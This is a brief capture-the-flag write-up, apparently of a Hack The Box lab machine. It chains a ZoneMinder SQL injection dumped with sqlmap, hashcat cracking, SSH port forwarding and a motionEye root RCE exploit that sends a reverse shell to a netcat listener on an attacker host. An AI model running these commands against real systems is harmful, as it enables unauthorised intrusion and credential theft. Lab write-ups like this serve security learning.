1. Enumeration
Started with a service scan.
nmap -sV -sC 10.129.53.160 -Pn
Port 80 hosts a ZoneMinder installation branded as SecureVision. Added cctv.htb to /etc/hosts.
2. ZoneMinder SQLi (CVE-2024-51482)
CVE-2024-51482 is a SQL injection vulnerability in ZoneMinder's login endpoint. The username parameter is passed unsanitised into a database query, allowing blind or error-based extraction of data.
sqlmap -u "http://cctv.htb/zm/index.php" \ --data="username=admin&password=admin&action=login" \ --dbms=mysql --dump --batch
3. Hash Cracking
Cracked the bcrypt hash with hashcat mode 3200.
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
4. SSH Foothold
SSH'd in using the cracked credentials.
ssh <user>@10.129.53.160
Checked for internal services listening on localhost.
ss -tlnp
Forwarded the port to interact with it.
ssh -L 8765:127.0.0.1:8765 <user>@10.129.53.160
5. PrivEsc: motionEye RCE (CVE-2025-60787)
CVE-2025-60787 is an authenticated RCE in motionEye. With access to the internal panel, the vulnerability allows arbitrary command execution as root.
nc -lvnp 4444
python3 exploit_CVE-2025-60787.py \ --url http://127.0.0.1:8765 \ --lhost <ATTACKER_IP> \ --lport 4444
6. Flags
redactedredacted